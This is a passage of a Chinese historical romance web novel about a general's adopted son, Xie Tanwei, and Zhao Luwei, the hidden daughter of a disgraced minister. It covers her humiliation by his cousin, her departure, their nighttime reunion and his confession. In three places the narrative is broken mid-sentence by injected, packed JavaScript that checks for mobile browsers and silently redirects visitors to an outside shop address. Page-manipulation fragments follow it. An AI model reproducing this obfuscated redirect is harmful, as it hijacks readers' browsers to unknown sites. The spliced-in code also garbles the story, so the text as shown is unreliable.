晏令白的面色变得郑重许多,“你还记得我跟你说过楚王的事吗?他与朝臣多有勾连,有些人在明,但有些人在暗。陛下此举,便是意在变动朝中人事,让那些暗里的人自己跳出来。而此次变动,也定会传到南营州去,楚王该是坐不住的。” 谢探微对晏令白上回的交代一直是牢记在心的,可他还是没听出两件事的关联,“朝廷将有大的人事变动,陛下想要对付楚王,我自是一切听从阿父吩咐,做什么都不会退缩。但阿月只是个无依无靠的女孩子,阿父究竟因何要针对她呢?” “敏识,你糊涂!”谁料,晏令白竟陡然大怒,“就是因为京中朝中人事浮动,难辩敌友,你才更不该感情用事。你难道不知,我们自甘州上任,原本就是众矢之的?卫月的出现,先是略施小计就赶走了杜石羽,而后几次与你偶遇,又能从杜家摸出南营州的线索,更是在你父亲上任之际被你带进府中,如今她竟还精通选官之道,与你们越发亲近。凡此种种,小小民女,是不是过于神通了?” 谢探微一时无言,波动的目光似已显示内心的动摇,但片刻之后,他只是向晏令白端正下拜了一礼: “阿父,探微不是由人摆弄的玩偶,阿月也绝非玩弄心计之人。若阿父非要强加疑影,不容孤女,那探微也可与她一起离开。” 他不是没听进晏令白的话,反而当每一个字钻进耳内时,脑子里都会跳出卫月对他的坦怀之言。那双缀满真诚之光的眸子,只一相望便心难自量。情不知所起。 “敏识,你的“敏识”都去哪儿了?!你说过的话都忘了?”晏令白满面的不可思议,却既愤然又无措。 “敏于识事,探之细微,都不应该用于无端的偏见和无礼的嫌恶。” 今夜,是谢探微平生第一次顶撞晏令白。 …… 既不能再进谢探微的书房,就连内院也是不便靠近的,露微很明白,这样空耗时日没有意义,应该尽快离开。然而,是直接走,还是等谢探微回来道个别,她一时也有些纠结。 “娘子,咱们还是到厢房呆着吧,不然等将军下朝回来碰见,又要不高兴了。” 露微原就是在房里憋闷,不觉就散步到了前庭,也只有前头可以走动。但也正如丹渥的提醒,这里是进府的必经之路。 “将军虽是严肃,却也不会平白恼人吧?”露微理解丹渥的心有余悸,笑着点了点头,“就听你的也罢,我们回去。” “站住!你们过来!” 两人才要转身,不防哪里传来一句喊声,而且音色尖厉,是个女子。这在将军府倒是稀奇,露微赶忙四处看找,却是在门楼之下望见了一主一仆两个女子。 为主的那个容貌娇丽,着一身嫣红裙装,很是明艳,和她身侧的侍女一样,一双眼睛只朝着露微看来。 “说的就是你们,快点过来!” 迟疑的间隙,那侍女又是凌然一指。露微与丹渥相视,再低头看了看自己身穿的布衣,忽然便明白了,这对主仆是拿她们当成了将军府的婢女。 “请问这位娘子有什么事吗?”露微倒也没必要解释,只将丹渥护在身后,走到了主仆面前,“将军现下尚未回府。” “你们府上怎么都不见人影?门口也只有一个小奴。”这娘子打量着,又四处环顾,“我不找大将军,只想见谢中候。” 露微听出来,这女子的口音不似中原雅音,倒与谢探微的某些咬字是很像的。而谢家日前才到咸京,她或许就是谢家人,“谢中候上职去了,也不在,娘子若要等,恐怕是要到入夜了。” “啊?这么久?”这女子却是细眉深蹙,满脸不悦,“你这小丫头不是骗我吧?我进来这么长时间,连杯茶也没有,只说是这个不在,那个也不在。你可知道我是谁?竟敢敷衍了事!” “我家娘子就是江都伯府谢家的嫡亲甥女,谢中候的表妹,也是苏州沈氏的名门贵女,你敢不敬?!”侍女从旁助威道。 露微倒是猜得不差,只不过,一个亲戚都这般傲慢仗势,倒让人好奇,谢家的家风难道也是如此?“丹渥,去倒杯茶来。”露微不好与她争持,回头示意了一眼丹渥。 “等等!” 丹渥还没迈出一步,这位沈娘子却又转了性子,说着便让侍女相扶,走到了一旁的四角亭中。 “娘子不是要吃茶吗?”露微耐着性子,也跟去问了一声。 沈氏并不应答,等侍女为她细细拭干脸上的香汗才慢悠悠开口:“天热起来了,我就在此处等表兄回来吧。你去端碗酥山来给我,记得要多淋上些葡萄浆汁。” 酥山便是以冬日藏冰碾碎,在碗中堆成小山尖状,是夏日消暑的佳品。同时,酥山也是珍贵之物,国朝规定凡是四品以上达宦或是有爵位之家才能豢养冰户,专供用冰。 然而,露微虽知如此,依晏令白的品级也有用冰的资格,但将军府简素至此,恐怕一时也是没有的。 见露微愣着不动,沈氏的侍女讥笑道:“将军府的婢女不会连酥山都不知道吧?还不快去?记得淋之前先尝尝,我家娘子不喜太酸的,但你也当心着些,不要让自己的口水污了好东西。” 露微舒了口气,淡淡回道:“娘子稍待, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13290290|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先奉茶与娘子,再去问问府里有无备冰。” “什么?将军府还会没有冰?”沈氏登时就站了起来,眉眼上挑,面露怒气,“你定是在戏弄我!从我进来你便举动迟缓,事事怠慢,就算你是将军府的人,也不过是个下贱的婢子,怎敢以下犯上?!凤梅,给我掌她的嘴!” “你岂敢动我!”露微不过是知道自己身份尴尬,不想惹事,才忍让至此,却从不是软弱的性子。她高声喝斥,一把就挡住了侍女扬起的手。 沈氏自是难以置信一个婢女的忤逆,怒火中烧,当即亲自举起了手。这一下紧接着侍女的动作毫无间隙,露微终究失于防范,被重重一掌打在面颊,人也跌倒在地。 “娘子!”丹渥原就害怕,慢了一步,此刻便赶紧扑到露微身上护住,防止沈氏再要责打。 “住手!” 正是紧要关头,身着朝服的晏令白匆匆而至,眼前的情景也让他触目一惊,而他是见过沈氏,知道此女来历的。 “将,将军,小女原是来探望表兄的,”晏令白威严的形容让沈氏立刻收了脾气,目光躲避,“可这个婢子甚是无礼,小女不得已才出手教训。” 露微缓缓站了起来,多少愤恨都咽了进去,不言一字,只低头擦拭嘴角渗出的鲜血。可这时,一向惧怕晏令白的丹渥反而一力跪了下来,含泪说道: “将军明鉴,是这位娘子把卫娘子错认成了婢女,还连连为难,卫娘子只是由她使唤,什么都没做啊!” 沈氏听罢一惊,再看露微,也没看出不是婢女,“她究竟是谁?不是婢女为何穿成这样?” 晏令白至此已将事情看明白了,沉声道:“沈娘子,敏识尚未下职,不若你先回府,他自会回去拜见父母的。” 沈氏看不出奥妙,但也知道晏令白与谢家的关系,怕闹大了不好收场,便应了,向晏令白行礼告辞而去。 待人走远后,晏令白也让丹渥退了下去。单独面对露微,见她极力隐忍,晏令白不禁心生恻隐: “你受委屈了,但我不便指责于她。她应该同你报过家门了吧?她正是敏识的表妹,前不久跟随敏识的父母从扬州而来。” 露微还是低着眼睛,面颊上掌印分明,口中弥漫着鲜血的腥甜,一开口先呛了一声,“回将军,我都知道了。” “那你……”晏令白越发有些不忍,眉心拧成了结,“那你可知,她此来,是要和敏识议婚的?” 露微当然不知,但也不算惊讶,“今日之事我不会放在心上,将军不用和我一个外人解释这么多,不论她是何身份来由,总是名门贵女,而我只是一介草民。” 这番态度不禁让晏令白疑惑。谢探微已亲口承认了有意于卫月,难道卫月本人还不知道?她表现得太过平静了,又或者就是明白身份悬殊,才知而不言,刻意隐忍的? 这小小女子,究竟拥有怎样的心思? “你先回房,我让下人去请医人替你疗伤。”沉思了片刻,晏令白如是说道。 “区区小事,何足劳烦。”露微已经下定了离开的决心,不必再等,“承蒙中候援手,将军收留,我已在府上叨扰多时,今日本就打算告辞的。” 说着,她向晏令白深深拜了一礼,“我知道将军府上不养婢女,丹渥是陆冬至特意为我寻来的。我走之后,望将军能替她安排一户宽善的人家,不要让她再被发卖。若不能,也求将军多留她几时,等我攒够银钱,再来带她走。” 晏令白是想让露微离开的,可直到刚刚都没能启齿,现在听她主动说起,竟霎时生出满心的愧疚,“你……” “多谢将军,告辞。” 若没有沈氏的事,露微或许还在犹豫,但沈氏也算给她提了个醒,自己身负家难,不该在这样缠不清的门户里淹留。 晏令白望着露微离去的背影,抬着手悬在半空,终究不曾出声留人。 15.转机 沈沐芳原是私自寻上的将军府,并未事先禀告舅母李敬颜,故而悻悻归来也不曾惊动。她甚是懊恼,没见到谢探微的人便罢了,还撞上一个不知什么人物的“卫娘子”,险些连晏令白都得罪了,也真是有些后怕。 “依奴婢看,那将军府奇怪得很,都那么大的官了,府里伺候的人还没我们沈家看门的多。还有那个贱婢,难道还是什么主人娘子不成?竟嚣张得很。” 沈沐芳坐在廊下纳凉,心里刚消停些,听凤梅这么一嘟囔,难免勾起了心事,忖度道:“晏将军如何也就罢了,我倒担心那个卫娘子,怕不是我表兄养在屋里的小妾。我们都到咸京半个多月了,表兄一次也没回来过,就算和舅舅置气,也怕是真的不肯与我定亲,那我母亲的叮嘱可怎么办?” 凤梅自是知道沈家的安排的,回道:“夫人是要娘子争气,笼络住郎君的心。可大事自有郡主做主,娘子进门必是正妻,还惧怕一个低贱的小妾么?” “你哪里没见过得势小妾爬到正室头上的?”沈沐芳叹了声,反苦笑一声,“我大兄二兄那些事不都是这么闹出来的?阿娘不知为此操了多少心!再说了,先前总听闻表兄是个最严气正性不过的人,应该是不近女色的,可若真是藏了这么个丫头在屋里,那必是极尽宠爱,甚至为她不婚也未可知。” 凤梅倒看不出这许多,想了想又道:“那小贱人是有几分姿色,可奴婢也没见哪个高门大户的郎君只爱那么一个的,最多三五年也就抛到脑后去了。” 沈沐芳哼声一笑,抬手就拍了下凤梅的脑袋,“你别家没见,眼下还不见?我那舅舅不就是现成的?跟舅母成婚都二十多年了,还是胶漆一般。我时常都心疼阿娘,有这样的好兄长,却没这样的好夫家。阿娘和舅母一样年纪吧?看着却比舅母老十岁。” “那,那要是真不成了,怎么办?”凤梅小心探问道。 沈沐芳摇着手里的团扇,说道:“不成就不成吧,大不了被阿娘骂一顿,她未必还能打死我?我好歹也是苏州沈氏的嫡女,如此已算是放下身段了,再没脸皮的事我也做不出来。” …… 谢探微下职回来乍一听闻白天之事,登时怒气上涌,立马就要冲到谢家去。晏令白早是心中有数,便叫随从快马先去谢家报信,自己将谢探微拦后了一步。 “阿父!你当时就该遣人告诉我!为什么让她一个人就这样走掉?!纵然阿父原本就要逐客,又怎能当此情形顺水推舟?!” 谢探微是听丹渥说起了详情,便可以想象卫月当时有多么受辱,他除了满腔愤怒,更是万分的心痛愧疚。 晏令白用力抵着谢探微的肩,却无意为自己解释,“敏识,你这样回去,可想好了如何开口?” 谢探微睁着发红的眼睛,意态决绝,“他们不能想不要我就不要我,一时想摆弄我就来摆弄我,和沈家议婚绝无可能!阿月我是必要找回来的!” 晏令白并非不知道谢探微幼年的伤痛,但看着这双通红又倔强的眼睛,他才算知道这孩子心里的结有多难解。 “好,阿父陪你一起去。” …… 谢家在咸京安顿下虽已多日,但谢道元每日忙于职分,几乎是脚不沾地,而李氏则因宗室郡主的身份,总有许多邀约应酬,也没抽出空多理家事。 于是,当夫妻二人忽闻将军府的报信,俱是大惊。尤其是李氏,怎么也不敢相信看着斯斯文文的沈沐芳竟会跑到将军府去打人。 “儿啊,这到底是怎么回事?要不娘现在就把芳儿叫来问问?那个被打的婢女伤的重不重啊?” 中堂之上,谢道元与晏令白并坐上首,一个严肃不语,一个心思暗忖,唯是李氏一刻难安,守着长子时时关切。而此刻的谢探微虽已平息了许多情绪,但满面的决绝仍十分明显。 “母亲,她不是婢女,是我心中之人。所以我此来也是想告诉父亲母亲,我是不会和沈家结亲的,请你们不要再徒费心思。” 一席话没有任何停顿,又把李氏惊得不轻,想问都不知道怎么发问,只好把眼睛转向了堂上。谢道元并未像从前一般怒火上头,先是看了晏令白一眼,说道: “且先不论沈家之事,你可知户婚之法?卑幼在外自定婚姻,而尚未礼成,便还是要看尊长之意,若无尊长愿意主婚,你的婚事便是不成的。” 谢探微却一轻笑,“父亲今日就是将全册的大恒律摆在我面前,我也还是不会改变心意。父亲亦不必再为我动气,也尽可上禀天子,将我从金吾军名册上划去。从小到大,我始终是父亲看不上的人,不论我做什么,也不论我怎么做,父亲都能出口成章地来指责我。既然如此,你们今后就不必再来管我了。” “敏识,不是这样的!不是这样的!”李氏慌了,从未见过儿子如此形态,话音颓然得像是要与家里断绝关系一般。 谢道元的脸色一阵青白,目光里聚起了错愕之色,“你可想清楚了?是要为一个女子背叛家门吗?!” 谢探微整了整衣袍,向父亲跪了下去,但辞色未改,“请父亲不要将我的错安在她的身上,就像从来并非我不要这个家,但因为父亲总认为我不配,所以便成了我不要。好,我的身上既已诸多罪名,又何必拉旁人来顶罪呢?” “好了!不必再讲!”眼看事态愈发严重,晏令白知道自己该说些什么了,“谢兄稍安,我们借一步说话。” 谢道元一口气闷在胸膛,发作不及便被晏令白拉到了侧室。二人是三十年的深交了,彼此无话不谈,要说什么都是直来直往的。 晏令白唤着谢道元的表字,说道:“德初啊,很多事不是你所想的,你好歹该问问他的心思啊!你算一算,他今年有几岁了?小时候那般,大了还能这样?” 谢道元泄了好几口气才将怒意压下,“你不看他那个样子,怎的竟会变成这样?一句顶三句,句句都有理!我说晏昭清,你倒是给我解释解释啊,他不是天天跟着你吗?” 晏令白直是摇头,便从卫月的事起,将谢探微近来的表现细说了一遍,“现下这女子已经离开,我也并不能确定她是何来历,只恐此举是伤了敏识的心,你就不必过于苛责了。” 谢道元细细听来已是另一番心境,晏令白的种种考虑他也无不赞同。毕竟,他此次调任吏部,也并非寻常的升迁。 “其实,沈家的婚事都是阿颜做主,我哪有这闲工夫?也想不到芳儿这孩子能做出这样无礼的事!” 谢道元不管内事,晏令白更是清楚不过。然而,他虽也做不了这个主,却是能够有所建言的,“依我今日所见,恐怕沈家并非良配。你可多与郡主商议,公事再要紧,也不能误了孩子的终身。” 谢道元垂首一叹,“也罢。” …… 露微觅得了活计,在崇贤坊一处街角的茶肆里帮杂。她原一直没找到事做,就是总把眼睛盯着繁华的延寿坊,却不见崇贤坊内也有不少沿街的店肆。 茶肆不是酒馆,杂活无非是洗茶碗,收案面,尚算轻松,所以就算工钱少些,露微也很知足。如此一做就是一个月,即使家难大事仍毫无进展,她的心性却稳重了许多。 “阿月,快来收东西!快点!” “好好好,来了,就来!” 天气炎热,连日无雨,多有行路人来歇脚解渴,茶肆的生意到了一年最旺的时期。露微常是还没忙完这一席,便要抽身去招待下一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“贤儿,这些时日,我也探知了些许赵家案子的内情,恐怕不是杨伯父能够主张的,我不想连累杨家。” 杨淑贤仍是坚定,握住露微双手说道:“父亲是学官,自然不能左右刑案之事,但他也是为官多年,至少还能帮你多方打听。前段时候,朝廷突然敕令选官,父亲也在其列,如今考校结束,他已升至司业之职了。” 露微是清楚选官之事的,但杨家到底还是学官,清流门第,她怎么也不好只顾自私,把好端端的治学之家拖涉官场险恶,“司业上任,定是有许多事要忙,当真不必劳烦伯父了。” 杨淑贤叹了一声,道:“国子监近来是很忙,无论官人士子,上下都在筹备天子视学的大事。八月初,秋分之月,天子要到国子监行释奠礼,同时还要克复古制,让皇太子与众学子行齿胄之礼。之后,还要召集诸生讲经论义。这么大的场面可是前所未有的!” 当今天子重视礼教,崇尚修德,都是露微听闻知晓的,而这也是赵维贞从前能够得到天子赏识的一大原因。天子曾评论赵维贞说,卿如明镜,德胜古今。 想到这里,露微不禁感慨:“若父亲未遭横祸,一定不会错过这样的大事。得君行道,志切匡扶,是他毕生的梦想。” 杨淑贤家学渊源,又是很了解露微的,想了想忽然眼光一亮,笑道:“赵叔父不在,阿姊想不想替他去瞧瞧这场面?” 露微立即睁大了眼睛:“贤儿,你知道自己在说什么吗?” 杨淑贤一脸坦然,附到露微耳边说道:“只要改扮男装,我们就可以混进去,从前贪玩,我已经试过多回。到时候,除了天子驾从,监中师生,京师七品以上文武清要都会前往观礼听经。你试想,这么多人里混进我们两个,有谁会关注?” 露微初听吃惊,是因为女子进不得国子监,但再一细听,心内止不住一股暗流涌动,赵家的案子或许有转机了——若到时真能顺利进去,便是可以亲见天子的,而她先前百般筹谋,也不过就是为了求人之口说动天子。 这个机会太好了,也太险了,露微一时不能抉择,可怨人不如自怨,求人不如求己,这个想法既已生成,她也似乎无法割舍。 16.表白 露微终究还是去了杨家,但心中暗藏的想法却一时不敢多说。反正离皇帝视学还有月余时间,足够她仔细量度。 杨家家翁杨献素知赵维贞的清名,所以赵家遭难时也肯为露微四处探听,之后还为自己不能出力而愧疚。便见女儿把露微带回家来,他更是万分肯收留的。 露微也到此时才知,自杨家主母过世,长女出嫁姚家,独子杨君游外任为官,全家只剩了杨献和幼女淑贤。而如今大事当前,杨献忙得日夜不休,常常就宿在国子监,于是淑贤就成了唯一的当家人。 杨家的情形便如此,可令露微没想到的是,她竟在杨家见到了雪信。依淑贤之言,当日雪信受姚宜苏指派将她骗出来,回去后便自责寻死,幸而被杨淑真救下。之后,杨淑真又怕雪信在姚家触景伤情,便将人送到了娘家。 这也罢了,露微根本不怪雪信,但又听淑贤告知,自己的行迹实则是二郎姚宜若透露的。便难免感慨,姚家别的不论,就算母亲华氏有所偏爱,却丝毫没有影响兄弟情谊。关键时刻,二郎终归是向着兄长的。这也是姚家之幸。 “微微阿姊,你发什么愣?难道还是心里怄气,怪我姊夫多嘴吗?” “哪有?就算有,也是为你长姊高兴,二郎是个不可多得的君子。”廊下宽坐,露微只是思绪乱飞,却叫淑贤误会了。 杨淑贤一笑,挨着露微坐下,“这倒也是,父亲可喜欢他了!听说他要参加明年的春闱,八成是能中的。” 露微倒不知这个,只知姚宜若嗜书如命,年纪轻轻一派老成。若明年能中选,不过才十九岁,大约就是国朝最年轻的进士郎了。 “嗳,那是什么?”余光一转,露微望见淑贤身侧整齐摆着几匹布料,“又要给我做衣服?” 这两天,杨淑贤拿露微亲姊似的看待,把家中最好的吃穿都拿来招待。露微于心难安,一应都推掉了,身上还是原本的旧衣。 “阿姊,你什么都不要,回头父亲该怪我没有好好待你了!你看你身上的,都破成什么样了?” 露微抿了抿嘴,低头看淑贤所指,裙边果然破了好几个洞,“那也不用,我原来住处的东西都没拿来,我现在就去拿!”说着,她已起身往外走。 “你等等啊,我让人备车送你!我跟你一起去吧?你可看着时辰,别犯了禁了!” 任凭身后呼唤,露微也不回头,只是挥手,“那地方不宜兴师动众地过去,你放心吧,就来!” …… 其实,那日来得匆忙了些,若当时就从茶肆回赵家取上行李也不费几刻。而杨府在东边,距离崇贤坊稍远,露微只能一路小跑。 可天不凑巧,半道上竟下起大雨,等她赶回赵家,包好衣物银钱,天已擦黑。她不禁犹豫,若这时间出去,恐怕马上就能听见宵禁鼓,若留一夜,又更怕杨淑贤为寻她而犯禁。 片刻后,露微还是选择自己冒险,扎紧了包袱,闷头走出小门。然而,在已然暗沉的天色下,新停的大雨未及褪干,浸泡着石板路上的青苔,让她一步一滑,不小心脚下一溜,竟摔倒在地。 “啊!”这一摔可着实不轻,她叫出声来,身上的包袱同时松落,铜钱也滚得满地,只听叮叮之声。 “巷内是何人?!” 真是屋漏偏逢连夜雨,露微这头还不及爬起来,竟恍见巷口照来火光,而这斥问之声分明就是—— “是谁在地上?!速速报上名来!” 这人的乌皮靴踏溅着地上的雨水,步步逼近,高大的身形在露微仰视之下更见轩昂。很快,四目相接,水声、火光,都在这一刻凝绝。直到半晌后,巷口的呼声传来: “谢中候,里面是什么人?要不要兄弟们进去?” 来者正是月余不见的谢探微。 露微第二次犯夜,又犯在了他手里,而这里是赵家的后巷,那后院的小门还半敞着,看来今夜难逃一劫—— 可下一刻,谢探微竟俯身下来,用自己宽厚肩背挡住了她湿透的身体,在她耳边嘘声:“别怕,别出声。” “谢中候,里面到底如何?”巷口又喊起来。 露微不能不怕,僵着身子,紧闭双眼,却又听道: “没有人,一只猫撞碎了破瓦。但此处是封没的府邸,我要进去查看才放心,你们先走。” 就这样,谢探微竟替她挡下了一个死罪。 夜巡队伍去远后,露微还是难以回神,一只手不自觉地攀住谢探微的胳膊,嘴唇颤抖,却说不出一个字。 许是火光映照着,谢探微的双眼一片通红,眸光随着揪起的眉头微微闪动,“阿月,已经没事了,我不是答应过你吗?倘若你再犯夜,我就睁一只眼闭一只眼。” …… 赵家后院,露微和谢探微一如彼时在通明渠畔般对坐,只是身下的石块换成了两张残破的杌凳,面前的逝水变成了小小的火堆。时正夏日,但废宅的阴风也是凉津津的。 “事情就是这样,你还有什么想问的便问吧。”露微将自己的来历故事告诉了谢探微,除了于事无济的姚家往事和一些无法言说的旧日家私。 谢探微的目光一直没从露微身上挪开过,平静的神色下是积攒了一月的焦心如焚。这一个月他过得无比漫长,幸而是金吾的身份,让他可以不分昼夜地全城找寻。 然而,却是这样的重逢。 “卫月不是你的真名吧?你的真名叫什么?” 露微稍稍转脸,又顿了顿,“我生在九月初三戌时,正是微月临空,秋夜清光,因有诗云‘松际露微月,清光犹为君’,所以阿娘便为我取名‘露微’,我叫赵露微。” “露微,露微。”谢探微像是没听清的反问,又像是着意的揣摩,忽然却道:“那你也不算骗人。” 露微的嘴角浮出一丝幽淡的笑意,“罪臣之女,苟活而已。” 谢探微的心口揪痛了下,“所以你说你父兄也不喜欢你是假,那番话只是为了安慰我,对吗?你究竟为何独自留在了咸京?” 那番话是露微最真心的话了,可现在又只能是假,“父亲获罪前,我正好去拜访一个远亲,回来时已错过了。我不知道往何处安身,或许也没人敢收留罪臣家眷,后来的事你都知道了。” 院子里静默了下来,火堆里接连爆了几个火花,噼啪噼啪,在沉寂之中略惊了人心。 “那么,你跟我回去吧。”谢探微忽然起身,一步跨到露微身前蹲了下来,“露微,”他半抬面孔,唤得深沉又轻柔,“我想陪你共进退,也想帮你救父亲。” 谢探微的身躯隔开了火光,露微的脸颊却还是越来越热——她明白这几句话的含义,是瞬间就听懂了。 “你父母不是已经带了你表妹来和你议亲吗?你这样……”她不知该以何种态度面对,也不能辨别此刻的心情,只是想躲。 谢探微盯着露微刻意扭开的脸颊,听着这句似是推搪的话,却一下就笑了,“露微,你明白我的心意了!” 露微近乎要咬破嘴唇,胸口翻腾着一股无名的气涌,“不行!我不能……你不能有这个心意!” “为什么?我不嫌你是罪臣之女,我相信你说赵家是冤案,你一个人就可以做这么多,我们一起岂不是……” “什么一起!”露微一下站了起来,身体禁不住震颤,“弹劾我父亲的舒正显是你舅父楚王的岳丈,你父亲接替了我父亲的吏部之位,你义父更与你父亲关系匪浅,你让我怎么相信你?!” 赵家案情的人物牵连,露微刚刚已和谢探微点明,可谢探微反而觉得露微是相信他,才坦诚相告,而现在却——是为了拒绝他而口不择言吗? 谢探微的脸色沉了下去。即使他知道楚王是何种角色,却也答应了晏令白务必缄口。他无法为自己解释。 “露微,那你就给我一点时间,等我能够给你答案了,你再给我机会好吗?” 露微缓缓喘息着,眼里是惶恐的。她不知道谢探微要给她什么答案,也不知道自己还有什么理由。她的目的只是拒绝。 “我也不会跟你回去的。” 谢探微不忍地摇头,一腔恳切:“可你不能留在这里!若今天这样的事再有一次,遇到旁人,你可知是什么后果?” “我要走的,我已经有办法救父亲了。”露微突然红了眼眶,心头霎时聚拢了万般滋味,“谢探微,我知道你是不一样的,可我的路不能让别人替我走,你也有自己的路。” “我,是不一样的?” 露微这次很笃定地点了下头。 …… 太平坊将军府。 一自露微离开后,谢探微都没怎么和晏令白说过话。可今日竟不同,晏令白散朝后刚到府前下马,便听小奴来报,说谢探微有大事禀告,已在内堂等候多时。 晏令白猜不到何事,只快步赶去,谁知,不及开口就听谢探微直截了当一句话:“阿父,你真的做错了。” 晏令白的一只脚还在门槛外,便顿住,心内想来也唯有卫月之事,再看稍后站着的陆冬至,脸色沉重,大抵便有数了:“你找到卫月了是不是?她出什么事了?” 谢探微深深提了口气,侧身让道,先将晏令白请进了堂上,“她不叫卫月,她是吏部尚书赵维贞之女,赵露微。” 内堂格局不大,三五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317955|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步间,三五字音朗然回荡,“你说什么?!”晏令白的脸色迅速白了一层,手上的笏板竟险些松落。 “她就是阿父亲率金吾围府捉拿的,赵尚书之女。”晏令白的反应在谢探微意料之内,紧接着,他便坦陈了一切。 “所以,阿父当真错疑她了!她熟知杜石羽是因为杜石羽曾是她父亲的门生;她有超群的见识是因为她出身名门;她精通选官之道是因为她父亲原就是吏部天官;她留在将军府则是因为一度想要求助于阿父。她势单力薄,也未尝损人利己,而费尽苦思,却竟无开口之机。” 晏令白早已背过身去,昂藏的身躯犹若塑像。 “我也是真笨!”陆冬至垂着头,连连叹声,“那天她突然出现在崇贤坊武候铺,开玩笑似的跟我闲聊,问的却是赵府被封,我还真以为她是好奇打听着玩呢!” “阿父!”谢探微跪了下来,“事实如此,能养出这样的女儿,家道相传,赵尚书又岂会是结党纳贿的脏官?为今之计,当以彻查赵家案情为要。敏识低微,不能面君,还请阿父必以匡辅朝廷为念,上陈陛下,为忠良言!” 两人的话音落下许久,晏令白才缓缓转了过来,面色微凝,只是将谢探微扶了起来。 “阿父?”谢探微看不明白晏令白的神情。 “那孩子现在何处?”晏令白的语气却透着小心。 “她不愿跟我回来,只说她父亲昔日的一个同僚愿意收留,也不肯告知详情。我留意她的去向,应是往城东去了。”谢探微说得一无底气,又思及当时的情形,他是既不忍也不能追问太紧。 晏令白再未多言,径直离开了内堂。 …… “好了,我这不是回来了吗?就是那场雨耽误了时辰,我便只能留宿一夜。”露微清晨回到杨家,不意外是让杨淑贤担心了一整晚,可也对发生之事难以启齿,只得遮掩了过去。 杨淑贤倒不算气,只是看着露微带回来的两身衣裳,又湿又脏,也没法再穿了,觉得不值,“阿姊就为这点东西,可害得我差点冲到金吾卫去捞人呢!” “你真去了?!”露微本就怕杨淑贤冲动,才冒险夜出,便才有了后头的事,可谁料竟还是没有两全。 杨淑贤撇嘴摇头,“只是去皇城门口逛了一圈,我怎么进得去呢?也不确定你在里头,总不能故意犯禁去找吧?那我父亲知道了,还不得直接把我拎进京兆大牢啊?” 露微一时觉得淑贤很灵慧,不点就透,一时却又对她哭笑不得,“你可真聪明,得亏你这么聪明。” “不过……” 露微刚把心放下,又提起来了,“不过什么?你一次说完!” 杨淑贤却挑眉一笑,先叫屋里所有侍女都退了出去,才肯开口:“我虽进不去,但遇到了一个金吾郎从里头出来。我是先看这人和守门军士说话很熟的样子,便注意到了他的服色佩戴。大街上走两步就能遇见金吾卫,所以我一看就知道他是金吾郎,又穿的是浅青的官常服,那好歹也是个有品阶的。” “浅青服色,是个九品官,所以呢?”露微不理解淑贤为何要费这么多口舌描述一个九品郎官。 杨淑贤还是津津有味的样子,“所以我就大胆拦了他一把!我就问他,昨天晚上犯禁被抓的人里有没有一个十六七岁的小娘子,他先愣了一下,我以为他要恼我乱打听呢!可谁知道他却挠了挠头,满脸困惑,活像个被先生考问但答不上来的小童儿!太好笑了!” 这丫头怎么还讲上故事了?露微满脸无奈,又不得不听下去。 “我忍着笑又追问,他这才说了,说的是没有小娘子,只是几个醉汉,然后声音越发低了,嘟嘟囔囔地说,要是有就好了。这我就奇怪了,难道犯禁还挑人吗?” 故事越讲越离奇,露微也开始好奇了:“这人好歹是有品阶的军官,怎么说话还说不通呢?” 杨淑贤深以为然,“是啊!我当时也这么想,前言不搭后语的还当什么官啊。故此我又问他,你们金吾难道是要专挑小娘子来抓吗?他的脸色就变了,反问我是谁,我也不怕,就说了……” “等等!”露微的心再三一惊,“你跟一个不认识的金吾郎自报家门,也把我抖出去了?!” 杨淑贤连忙按住露微,“那没有!我就告诉他我叫杨淑贤,昨夜走丢了阿姊,所以来问问。他也没多说,还告诉我他叫什么,临了还让我早些去京兆府报案,不要单在金吾卫找人。” 露微长舒了一口气,不禁扶额。 “我觉得这个人还挺厚道的,名字也很好记,陆冬至,应该是冬至这天的生辰吧。” “陆冬至?!” 17.面君 自从将露微的事告知了晏令白,谢探微便日日都在盼消息,可半月间竟不见一丝动静,而想去再问,却又难见晏令白的面。皇宫禁内似乎在筹备什么大事,宿卫宫城金吾兵增加了一倍不止,大将军晏令白则亲自护卫在天子居所,一日未离。 如此已是煎熬,又再次失去了露微的音讯,谢探微便更觉是处在水深火热之中。近乎绝望之际,他的脑中冒出了一个既为难却唯一的办法:父亲谢道元同样身居高位,又与晏令白无话不谈,若能另辟蹊径,也比空等强得多。 于是,他等在百官散朝的必经之路,主动求见了父亲。与朝服整肃的父亲单独相对,恍然好像是平生第一次。 “你有话就直说吧。” 谢探微除了立拜一礼叫了声父亲,半晌竟是谢道元先开了口。他又舒了口气,目光里越发淡然,似乎一点也不意外。 “父亲近日可安好……”谢探微低着眼,心里既猜测父亲应已听闻露微之事,又怕再激怒父亲于事无补。毕竟,父子间不欢而散是常事,他毫无底气却是第一回。 谢道元却清咳了一声,稍眯起眼,望向了远处,“你是见不到你寄父,才想来问我的吧?如今金吾严守宫城,非寻常之时,你身为金吾郎,不知尽心所事,却还分心旁骛,这是失职。” 